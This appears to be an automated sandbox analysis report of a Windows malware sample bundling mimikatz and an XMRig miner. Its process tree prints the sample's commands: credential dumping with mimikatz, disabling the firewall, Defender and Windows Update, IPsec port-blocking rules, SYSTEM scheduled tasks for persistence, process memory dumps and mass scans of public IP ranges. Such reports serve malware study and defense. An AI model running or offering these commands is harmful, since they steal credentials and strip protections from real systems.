Overview

overview

10

Static

static

10

2024-04-09...tz.exe

windows7-x64

10

2024-04-09...tz.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    152s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    09/04/2024, 01:02

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General

  • Target
    2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe
  • Size 7.1MB
  • Sample240409-bds28scg6x
  • SHA256 626e2c816bf80a7bbdf500118ce03466d2010f1eca6b4d9dba8a47c81df608d5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
mimikatzxmrigdiscoveryevasionminerpersistenceupx

Malware Config

Signatures

  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

    mimikatz
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Contacts a large (14715) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
  • UPX dump on OEP (original entry point) 34 IoCs
  • XMRig Miner payload 9 IoCs
    miner
  • mimikatz is an open source tool to dump credentials on Windows 6 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Sets file execution options in registry 2 TTPs 40 IoCs
    persistence
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 24 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates a Windows Service
    persistence
  • Drops file in System32 directory 12 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 3 IoCs
    installer
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 31 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:964
      • C:\Windows\TEMP\bpetituga\gctgtz.exe
        "C:\Windows\TEMP\bpetituga\gctgtz.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2000
    • C:\Users\Admin\AppData\Local\Temp\2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2308
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\plwghlna\bibnuun.exe
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2548
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • Runs ping.exe
          PID:1828
        • C:\Windows\plwghlna\bibnuun.exe
          C:\Windows\plwghlna\bibnuun.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2596
    • C:\Windows\plwghlna\bibnuun.exe
      C:\Windows\plwghlna\bibnuun.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Sets file execution options in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:2400
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D users
            3⤵
              PID:2404
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
                PID:2352
              • C:\Windows\SysWOW64\cacls.exe
                cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                3⤵
                  PID:2360
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                    PID:2380
                  • C:\Windows\SysWOW64\cacls.exe
                    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                    3⤵
                      PID:2412
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static del all
                    2⤵
                    • Modifies data under HKEY_USERS
                    PID:2920
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add policy name=Bastards description=FuckingBastards
                    2⤵
                    • Modifies data under HKEY_USERS
                    PID:1444
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filteraction name=BastardsList action=block
                    2⤵
                      PID:560
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c C:\Windows\yyshahwcl\hbzhttyqt\wpcap.exe /S
                      2⤵
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:368
                      • C:\Windows\yyshahwcl\hbzhttyqt\wpcap.exe
                        C:\Windows\yyshahwcl\hbzhttyqt\wpcap.exe /S
                        3⤵
                        • Drops file in Drivers directory
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in System32 directory
                        • Drops file in Program Files directory
                        • Suspicious use of WriteProcessMemory
                        PID:1388
                        • C:\Windows\SysWOW64\net.exe
                          net stop "Boundary Meter"
                          4⤵
                            PID:2812
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop "Boundary Meter"
                              5⤵
                                PID:2436
                            • C:\Windows\SysWOW64\net.exe
                              net stop "TrueSight Meter"
                              4⤵
                                PID:808
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop "TrueSight Meter"
                                  5⤵
                                    PID:1652
                                • C:\Windows\SysWOW64\net.exe
                                  net stop npf
                                  4⤵
                                    PID:1108
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 stop npf
                                      5⤵
                                        PID:2040
                                    • C:\Windows\SysWOW64\net.exe
                                      net start npf
                                      4⤵
                                        PID:2528
                                        • C:\Windows\SysWOW64\net1.exe
                                          C:\Windows\system32\net1 start npf
                                          5⤵
                                            PID:2864
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd /c net start npf
                                      2⤵
                                        PID:2976
                                        • C:\Windows\SysWOW64\net.exe
                                          net start npf
                                          3⤵
                                            PID:1928
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 start npf
                                              4⤵
                                                PID:1772
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c net start npf
                                            2⤵
                                              PID:1352
                                              • C:\Windows\SysWOW64\net.exe
                                                net start npf
                                                3⤵
                                                  PID:1096
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 start npf
                                                    4⤵
                                                      PID:764
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c C:\Windows\yyshahwcl\hbzhttyqt\clkieeyni.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\yyshahwcl\hbzhttyqt\Scant.txt
                                                  2⤵
                                                  • Loads dropped DLL
                                                  PID:2284
                                                  • C:\Windows\yyshahwcl\hbzhttyqt\clkieeyni.exe
                                                    C:\Windows\yyshahwcl\hbzhttyqt\clkieeyni.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\yyshahwcl\hbzhttyqt\Scant.txt
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    PID:2448
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c C:\Windows\yyshahwcl\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\yyshahwcl\Corporate\log.txt
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • Drops file in Windows directory
                                                  PID:2136
                                                  • C:\Windows\yyshahwcl\Corporate\vfshost.exe
                                                    C:\Windows\yyshahwcl\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:2216
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ggtulytzu" /ru system /tr "cmd /c C:\Windows\ime\bibnuun.exe"
                                                  2⤵
                                                    PID:2828
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                      3⤵
                                                        PID:2984
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /create /sc minute /mo 1 /tn "ggtulytzu" /ru system /tr "cmd /c C:\Windows\ime\bibnuun.exe"
                                                        3⤵
                                                        • Creates scheduled task(s)
                                                        PID:2196
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ylbnaugyt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\plwghlna\bibnuun.exe /p everyone:F"
                                                      2⤵
                                                        PID:2220
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                          3⤵
                                                            PID:2168
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /sc minute /mo 1 /tn "ylbnaugyt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\plwghlna\bibnuun.exe /p everyone:F"
                                                            3⤵
                                                            • Creates scheduled task(s)
                                                            PID:2228
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "agffthjhi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bpetituga\gctgtz.exe /p everyone:F"
                                                          2⤵
                                                            PID:1752
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                              3⤵
                                                                PID:1488
                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                schtasks /create /sc minute /mo 1 /tn "agffthjhi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bpetituga\gctgtz.exe /p everyone:F"
                                                                3⤵
                                                                • Creates scheduled task(s)
                                                                PID:2452
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                                                              2⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:1720
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                                                              2⤵
                                                                PID:2064
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                2⤵
                                                                  PID:2572
                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                  netsh ipsec static set policy name=Bastards assign=y
                                                                  2⤵
                                                                    PID:2596
                                                                  • C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe
                                                                    C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 964 C:\Windows\TEMP\yyshahwcl\964.dmp
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2708
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                                                                    2⤵
                                                                      PID:2712
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                                                                      2⤵
                                                                        PID:2012
                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                        netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                        2⤵
                                                                        • Modifies data under HKEY_USERS
                                                                        PID:2752
                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                        netsh ipsec static set policy name=Bastards assign=y
                                                                        2⤵
                                                                          PID:2664
                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                                                                          2⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          PID:2288
                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                                                                          2⤵
                                                                            PID:2104
                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                            netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                            2⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            PID:368
                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                            netsh ipsec static set policy name=Bastards assign=y
                                                                            2⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            PID:3008
                                                                          • C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe
                                                                            C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 1272 C:\Windows\TEMP\yyshahwcl\1272.dmp
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1352
                                                                          • C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe
                                                                            C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 1336 C:\Windows\TEMP\yyshahwcl\1336.dmp
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1528
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd /c net stop SharedAccess
                                                                            2⤵
                                                                              PID:1500
                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                net stop SharedAccess
                                                                                3⤵
                                                                                  PID:940
                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                    C:\Windows\system32\net1 stop SharedAccess
                                                                                    4⤵
                                                                                      PID:2968
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  cmd /c netsh firewall set opmode mode=disable
                                                                                  2⤵
                                                                                    PID:1740
                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                      netsh firewall set opmode mode=disable
                                                                                      3⤵
                                                                                      • Modifies Windows Firewall
                                                                                      PID:600
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    cmd /c netsh Advfirewall set allprofiles state off
                                                                                    2⤵
                                                                                      PID:2936
                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                        netsh Advfirewall set allprofiles state off
                                                                                        3⤵
                                                                                        • Modifies Windows Firewall
                                                                                        PID:1572
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      cmd /c net stop MpsSvc
                                                                                      2⤵
                                                                                        PID:2088
                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                          net stop MpsSvc
                                                                                          3⤵
                                                                                            PID:2348
                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                              C:\Windows\system32\net1 stop MpsSvc
                                                                                              4⤵
                                                                                                PID:2520
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            cmd /c net stop WinDefend
                                                                                            2⤵
                                                                                              PID:2456
                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                net stop WinDefend
                                                                                                3⤵
                                                                                                  PID:2572
                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                    C:\Windows\system32\net1 stop WinDefend
                                                                                                    4⤵
                                                                                                      PID:2956
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  cmd /c net stop wuauserv
                                                                                                  2⤵
                                                                                                    PID:1636
                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                      net stop wuauserv
                                                                                                      3⤵
                                                                                                        PID:2552
                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                          C:\Windows\system32\net1 stop wuauserv
                                                                                                          4⤵
                                                                                                            PID:1544
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd /c sc config MpsSvc start= disabled
                                                                                                        2⤵
                                                                                                          PID:1828
                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                            sc config MpsSvc start= disabled
                                                                                                            3⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:436
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd /c sc config SharedAccess start= disabled
                                                                                                          2⤵
                                                                                                            PID:1720
                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                              sc config SharedAccess start= disabled
                                                                                                              3⤵
                                                                                                              • Launches sc.exe
                                                                                                              PID:1220
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            cmd /c sc config WinDefend start= disabled
                                                                                                            2⤵
                                                                                                              PID:3044
                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                sc config WinDefend start= disabled
                                                                                                                3⤵
                                                                                                                • Launches sc.exe
                                                                                                                PID:2336
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              cmd /c sc config wuauserv start= disabled
                                                                                                              2⤵
                                                                                                                PID:2176
                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                  sc config wuauserv start= disabled
                                                                                                                  3⤵
                                                                                                                  • Launches sc.exe
                                                                                                                  PID:660
                                                                                                              • C:\Windows\TEMP\xohudmc.exe
                                                                                                                C:\Windows\TEMP\xohudmc.exe
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Drops file in System32 directory
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:2100
                                                                                                              • C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe
                                                                                                                C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 1680 C:\Windows\TEMP\yyshahwcl\1680.dmp
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2788
                                                                                                              • C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe
                                                                                                                C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 2784 C:\Windows\TEMP\yyshahwcl\2784.dmp
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:1212
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                cmd.exe /c C:\Windows\yyshahwcl\hbzhttyqt\scan.bat
                                                                                                                2⤵
                                                                                                                • Loads dropped DLL
                                                                                                                PID:1948
                                                                                                                • C:\Windows\yyshahwcl\hbzhttyqt\gtzbalqhb.exe
                                                                                                                  gtzbalqhb.exe TCP 191.101.0.1 191.101.255.255 445 512 /save
                                                                                                                  3⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Drops file in Windows directory
                                                                                                                  PID:3020
                                                                                                              • C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe
                                                                                                                C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 1948 C:\Windows\TEMP\yyshahwcl\1948.dmp
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2408
                                                                                                              • C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe
                                                                                                                C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 2320 C:\Windows\TEMP\yyshahwcl\2320.dmp
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:3140
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
                                                                                                              1⤵
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2360
                                                                                                            • C:\Windows\system32\taskeng.exe
                                                                                                              taskeng.exe {F9EA75DA-A72B-4BBF-AD21-1A5BF461DBA6} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                              1⤵
                                                                                                                PID:2344
                                                                                                                • C:\Windows\system32\cmd.EXE
                                                                                                                  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\plwghlna\bibnuun.exe /p everyone:F
                                                                                                                  2⤵
                                                                                                                    PID:2032
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                      3⤵
                                                                                                                        PID:2232
                                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                                        cacls C:\Windows\plwghlna\bibnuun.exe /p everyone:F
                                                                                                                        3⤵
                                                                                                                          PID:2004
                                                                                                                      • C:\Windows\system32\cmd.EXE
                                                                                                                        C:\Windows\system32\cmd.EXE /c C:\Windows\ime\bibnuun.exe
                                                                                                                        2⤵
                                                                                                                          PID:2676
                                                                                                                          • C:\Windows\ime\bibnuun.exe
                                                                                                                            C:\Windows\ime\bibnuun.exe
                                                                                                                            3⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            PID:2108
                                                                                                                      • C:\Windows\SysWOW64\ssssgc.exe
                                                                                                                        C:\Windows\SysWOW64\ssssgc.exe
                                                                                                                        1⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:1660

                                                                                                                      Network

                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                            Reconnaissance

                                                                                                                            Resource Development

                                                                                                                            Initial Access

                                                                                                                            Execution

                                                                                                                            Scheduled Task/Job

                                                                                                                            1
                                                                                                                            T1053

                                                                                                                            Persistence

                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                            1
                                                                                                                            T1547

                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                            1
                                                                                                                            T1547.001

                                                                                                                            Create or Modify System Process

                                                                                                                            1
                                                                                                                            T1543

                                                                                                                            Windows Service

                                                                                                                            1
                                                                                                                            T1543.003

                                                                                                                            Scheduled Task/Job

                                                                                                                            1
                                                                                                                            T1053

                                                                                                                            Privilege Escalation

                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                            1
                                                                                                                            T1547

                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                            1
                                                                                                                            T1547.001

                                                                                                                            Create or Modify System Process

                                                                                                                            1
                                                                                                                            T1543

                                                                                                                            Windows Service

                                                                                                                            1
                                                                                                                            T1543.003

                                                                                                                            Scheduled Task/Job

                                                                                                                            1
                                                                                                                            T1053

                                                                                                                            Defense Evasion

                                                                                                                            Impair Defenses

                                                                                                                            1
                                                                                                                            T1562

                                                                                                                            Disable or Modify System Firewall

                                                                                                                            1
                                                                                                                            T1562.004

                                                                                                                            Modify Registry

                                                                                                                            2
                                                                                                                            T1112

                                                                                                                            Subvert Trust Controls

                                                                                                                            1
                                                                                                                            T1553

                                                                                                                            Install Root Certificate

                                                                                                                            1
                                                                                                                            T1553.004

                                                                                                                            Credential Access

                                                                                                                            Discovery

                                                                                                                            Network Service Discovery

                                                                                                                            2
                                                                                                                            T1046

                                                                                                                            Query Registry

                                                                                                                            1
                                                                                                                            T1012

                                                                                                                            Remote System Discovery

                                                                                                                            1
                                                                                                                            T1018

                                                                                                                            System Information Discovery

                                                                                                                            1
                                                                                                                            T1082

                                                                                                                            Lateral Movement

                                                                                                                            Collection

                                                                                                                            Command and Control

                                                                                                                            Exfiltration

                                                                                                                            Impact

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            Packet.dll
                                                                                                                            • Path C:\Windows\SysWOW64\Packet.dll
                                                                                                                            • Size 95KB
                                                                                                                            • SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            wpcap.dll
                                                                                                                            • Path C:\Windows\SysWOW64\wpcap.dll
                                                                                                                            • Size 275KB
                                                                                                                            • SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            config.json
                                                                                                                            • Path C:\Windows\TEMP\bpetituga\config.json
                                                                                                                            • Size 693B
                                                                                                                            • SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                            Submit Download

                                                                                                                            1272.dmp
                                                                                                                            • Path C:\Windows\TEMP\yyshahwcl\1272.dmp
                                                                                                                            • Size 1.4MB
                                                                                                                            • SHA256 bbf71b39c866eb344d261e19639fbf852d8b7ff834f59c0275763e3daa1dda5e
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            1336.dmp
                                                                                                                            • Path C:\Windows\TEMP\yyshahwcl\1336.dmp
                                                                                                                            • Size 1.3MB
                                                                                                                            • SHA256 0d9ba34068ce42bf9a7a424deeb61fe06bcad26a0f15b536f4b53fbe8ac7d365
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            1680.dmp
                                                                                                                            • Path C:\Windows\TEMP\yyshahwcl\1680.dmp
                                                                                                                            • Size 4.9MB
                                                                                                                            • SHA256 7fbff5fba74942c3d2fe83dea63d0233fa9e6dce9fcb918ccf8d18e3ac7adf72
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            2320.dmp
                                                                                                                            • Path C:\Windows\TEMP\yyshahwcl\2320.dmp
                                                                                                                            • Size 843KB
                                                                                                                            • SHA256 4f8eca2215c8d417ba20bc1d5eb483c64cad5621a1ffe7cdca55aa8c7f7ee739
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            2784.dmp
                                                                                                                            • Path C:\Windows\TEMP\yyshahwcl\2784.dmp
                                                                                                                            • Size 2.1MB
                                                                                                                            • SHA256 775518459dadab6b3f74a1c25ffae832b9c4d80aecf67e4a7738b4ee12f0468a
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            964.dmp
                                                                                                                            • Path C:\Windows\TEMP\yyshahwcl\964.dmp
                                                                                                                            • Size 4.6MB
                                                                                                                            • SHA256 568b73c96d8a842619ed12f2557d68f463510747ed39db2f0619d60184fea340
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            bibnuun.exe
                                                                                                                            • Path C:\Windows\plwghlna\bibnuun.exe
                                                                                                                            • Size 7.2MB
                                                                                                                            • SHA256 d7c6a248cbf12532ef18304598901a17ea9642345856df1744f99ff8306b329d
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            hosts
                                                                                                                            • Path C:\Windows\system32\drivers\etc\hosts
                                                                                                                            • Size 975B
                                                                                                                            • SHA256 a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                            Submit Download

                                                                                                                            vfshost.exe
                                                                                                                            • Path C:\Windows\yyshahwcl\Corporate\vfshost.exe
                                                                                                                            • Size 381KB
